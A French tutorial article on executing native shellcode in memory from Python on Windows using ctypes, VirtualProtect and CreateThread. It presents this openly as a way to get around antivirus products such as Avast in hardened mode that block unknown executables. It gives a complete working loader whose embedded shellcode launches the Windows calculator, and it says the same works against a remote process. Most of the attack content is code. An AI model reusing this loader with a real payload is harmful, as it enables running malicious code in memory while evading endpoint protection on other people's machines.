Python - exécution de code natif sous Windows    Enregistrer au format PDF

Vous êtes dans un dossier avec peu de liberté où les exécutables ne sont pas admis ,solution le script python !
Par exemple avast en mode renforcé , bloque l’exécution de chaque exécutable inconnu ,mais pas l’exécution des scripts python .


par Tomtombinary

Python possède un module ctypes qui nous permet de faire appel au fonction contenues dans les dlls windows , nous allons utiliser ces fonctions de manière a faire exécuter du code natif dans python . L’avantage de cette technique est qu’elle ne nécessite pas d’écrire sur le disque dur .

1.Que peut-on faire avec ctypes ?

Avec le module ctypes dont la doc est disponible ici : https://docs.python.org/2/library/c...
On peut accéder au fonction des dll windows , ici CreateThread qui nous servira pour exécuter du code contenu en RAM .
Et on peut déclarer des variables comme en c, exemple un pointeur vers une chaine de caractère (pShellcode)

  1. windll.kernel32.CreateThread(...)
  2. pShellcode = c_char_p(shellcode)

Télécharger

2.Technique d’injection

  • Créer une variable contenant notre shellcode
  • Créer un pointeur vers notre shellcode
  • Autoriser l’exécution dans cette zone de mémoire ( VirtualProtect)
  • Créer un Thread avec comme routine de démarrage notre shellcode

C’est une technique d’injection parmi tant d’autre , il est possible de faire la même chose sur un processus distant .

3. Le code

Le shellcode exécute la calculette Windows

  1. from ctypes import *
  2. import sys
  3.  
  4. hmodule = windll.kernel32.LoadLibraryA("kernel32.dll".encode())
  5. addressWinExec = windll.kernel32.GetProcAddress(hmodule,"WinExec".encode())
  6. print("Addresse de WinExec : "+str(hex(addressWinExec)))
  7. bytesListe = [addressWinExec >> i & 0xff for i in (24,16,8,0)]
  8. bytesListe.reverse()
  9. addressWinExecBytes = b''
  10. if sys.version_info<=(3,0):
  11.     for byte in bytesListe:
  12.         addressWinExecBytes+=chr(byte)
  13. else:
  14.     addressWinExecBytes = bytes(bytesListe)
  15. shellcode = b'\xEB\x08\xBE'
  16. shellcode+=addressWinExecBytes
  17. shellcode+=b'\xFF\xD6\xC3\x31\xC0\x50\xE8\xF0\xFF\xFF\xFF\x43\x3A\x5C\x57\x49\x4E\x44\x4F\x57\x53\x5C\x73\x79\x73\x74\x65\x6D\x33\x32\x5C\x63\x61\x6C\x63\x2E\x65\x78\x65'
  18. print("Shellcode ["+str(len(shellcode))+" bytes]:"+str(shellcode))
  19. pShellcode = c_char_p(shellcode)
  20. ThreadID = c_int()
  21. PAGE_EXECUTE_READWRITE = 0x40
  22. OldVirtualProtect = c_int()
  23. CreateThread = windll.kernel32.CreateThread
  24. VirtualProtect = windll.kernel32.VirtualProtect
  25. res = VirtualProtect(pShellcode,len(shellcode),PAGE_EXECUTE_READWRITE,pointer(OldVirtualProtect))
  26. print("VirtualProtect resultat :"+str(res))
  27. res = CreateThread(None,0,pShellcode,None,0,pointer(ThreadID))
  28. print("Thread resultat :"+str(res))
  29. input(">>>")

Télécharger

Quelques explications :
Pour une meilleur portabilité ,l’adresse de winExec est récupérée et insérée dans le shellcode .

  1. hmodule = windll.kernel32.LoadLibraryA("kernel32.dll".encode())
  2. addressWinExec = windll.kernel32.GetProcAddress(hmodule,"WinExec".encode())
  3. print("Addresse de WinExec : "+str(hex(addressWinExec)))

Télécharger

Conversion en bytes selon les différentes version de python :

  1. bytesListe = [addressWinExec >> i & 0xff for i in (24,16,8,0)]
  2. bytesListe.reverse()
  3. addressWinExecBytes = b''
  4. if sys.version_info<=(3,0):
  5.     for byte in bytesListe:
  6.         addressWinExecBytes+=chr(byte)
  7. else:
  8.     addressWinExecBytes = bytes(bytesListe)

Télécharger

Ajout au shellcode :

  1. shellcode = b'\xEB\x08\xBE'
  2. shellcode+=addressWinExecBytes
  3. shellcode+=b'\xFF\xD6\xC3\x31\xC0\x50\xE8\xF0\xFF\xFF\xFF\x43\x3A\x5C\x57\x49\x4E\x44\x4F\x57\x53\x5C\x73\x79\x73\x74\x65\x6D\x33\x32\x5C\x63\x61\x6C\x63\x2E\x65\x78\x65'

Télécharger

On créer notre pointeur vers notre shellcode :

  1. pShellcode = c_char_p(shellcode)

On change les attributs de sécurité avec VirtualProtect :

  1. BOOL WINAPI VirtualProtect(
  2.   _In_   LPVOID lpAddress,
  3.   _In_   SIZE_T dwSize,
  4.   _In_   DWORD flNewProtect,
  5.   _Out_  PDWORD lpflOldProtect
  6. );

Télécharger

Pour plus d’information : http://msdn.microsoft.com/en-us/lib...

  1. PAGE_EXECUTE_READWRITE = 0x40
  2. OldVirtualProtect = c_int()
  3. ...
  4. VirtualProtect = windll.kernel32.VirtualProtect
  5. res = VirtualProtect(pShellcode,len(shellcode),PAGE_EXECUTE_READWRITE,pointer(OldVirtualProtect))

Télécharger

Et ensuite on créer notre thread dans python avec CreateThread

  1. HANDLE WINAPI CreateThread(
  2.   _In_opt_   LPSECURITY_ATTRIBUTES lpThreadAttributes,
  3.   _In_       SIZE_T dwStackSize,
  4.   _In_       LPTHREAD_START_ROUTINE lpStartAddress,
  5.   _In_opt_   LPVOID lpParameter,
  6.   _In_       DWORD dwCreationFlags,
  7.   _Out_opt_  LPDWORD lpThreadId
  8. );

Télécharger

Pour plus d’information : http://msdn.microsoft.com/en-us/lib...

  1. ThreadID = c_int()
  2. CreateThread = windll.kernel32.CreateThread
  3. ...
  4. res = CreateThread(None,0,pShellcode,None,0,pointer(ThreadID))

Télécharger

Et voilà le tour est joué !

Documentations publiées dans cette rubrique